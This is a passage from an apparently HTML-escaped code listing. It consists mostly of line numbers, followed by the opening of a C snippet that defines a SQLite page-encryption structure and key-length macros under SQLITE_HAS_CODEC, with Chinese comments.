class=\"line\"\u003e325\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e326\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e327\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e328\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e329\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e330\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e331\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e332\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e333\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e334\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e335\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e336\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e337\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e338\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e339\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e340\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e341\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e342\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e343\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e344\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e345\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e346\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e347\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e348\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e349\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e350\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e351\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e352\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e353\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e354\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e355\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e356\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e357\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e358\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e359\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e360\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e361\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e362\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e363\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e364\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e365\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e366\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e367\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e368\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e369\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e370\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e371\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e372\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e373\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e374\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e375\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e376\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e377\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e378\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e379\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e380\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e381\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e382\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e383\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e384\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e385\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e386\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e387\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e388\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e389\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e390\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e391\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e392\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e393\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e394\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e395\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e396\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e397\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e398\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e399\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e400\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e401\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e402\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e403\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e404\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e405\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e406\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e407\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e408\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e409\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e410\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e411\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e412\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e413\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e414\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e415\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e416\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e417\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e418\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e419\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e420\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e421\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e422\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e423\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e424\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e425\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e426\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e427\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e428\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e429\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e430\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e431\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e432\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e433\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e434\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e435\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e436\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e437\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e438\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e439\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e440\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e441\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e442\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e443\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e444\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e445\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e446\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e447\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e448\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e449\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e450\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e451\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e452\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e453\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e454\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e455\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e456\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e457\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e458\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e459\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e460\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e461\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e462\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e463\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e464\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e465\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e466\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e467\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e468\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e469\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e470\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e471\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e472\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e473\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e474\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e475\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e476\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e477\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e478\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e479\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e480\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e481\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e482\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e483\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e484\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e485\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e486\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e487\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e488\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e489\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e490\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e491\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e492\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e493\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e494\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e495\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e496\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e497\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e498\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e499\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e500\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e501\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e502\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e503\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e504\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e505\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e506\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e507\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e508\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e509\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e510\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e511\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e512\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e513\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e514\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e515\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e516\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e517\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e518\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e519\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e520\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e521\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e522\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e523\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e524\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e525\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e526\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e527\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e528\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e529\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e530\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e531\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e532\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e533\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e534\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e535\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e536\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e537\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e538\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e539\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e540\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e541\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e542\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e543\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e544\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e545\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e546\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e547\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e548\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e549\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e550\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e551\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e552\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e553\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e554\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e555\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e556\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e557\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e558\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e559\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e560\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e561\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e562\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e563\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e564\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e565\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e566\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e567\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e568\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e569\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e570\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e571\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e572\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e573\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e574\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e575\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e576\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e577\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e578\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e579\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e580\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e581\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e582\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e583\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e584\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e585\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e586\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e587\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e588\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e589\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e590\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e591\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e592\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e593\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e594\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e595\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e596\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e597\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e598\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e599\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e600\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e601\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e602\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e603\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e604\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e605\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e606\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e607\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e608\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e609\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e610\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e611\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e612\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e613\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e614\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e615\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e616\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e617\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e618\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e619\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e620\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e621\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e622\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e623\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e624\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e625\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e626\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e627\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e628\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e629\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e630\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e631\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e632\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e633\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e634\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e635\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e636\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e637\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e638\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e639\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e640\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e641\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e董淳光定义的加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e加密结构\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e CRYPT_OFFSET 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e _\u003cspan class=\"title\"\u003eCryptBlock\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     ReadKey;     \u003cspan class=\"comment\"\u003e// 读数据库和写入事务的密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     WriteKey;    \u003cspan class=\"comment\"\u003e// 写入数据库的密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e       PageSize;    \u003cspan class=\"comment\"\u003e// 页的大小\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     Data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} CryptBlock, *LPCryptBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DB_KEY_LENGTH_BYTE         \u003cspan class=\"comment\"\u003e/*密钥长度*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DB_KEY_LENGTH_BYTE   16   \u003cspan class=\"comment\"\u003e/*密钥长度*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DB_KEY_PADDING             \u003cspan 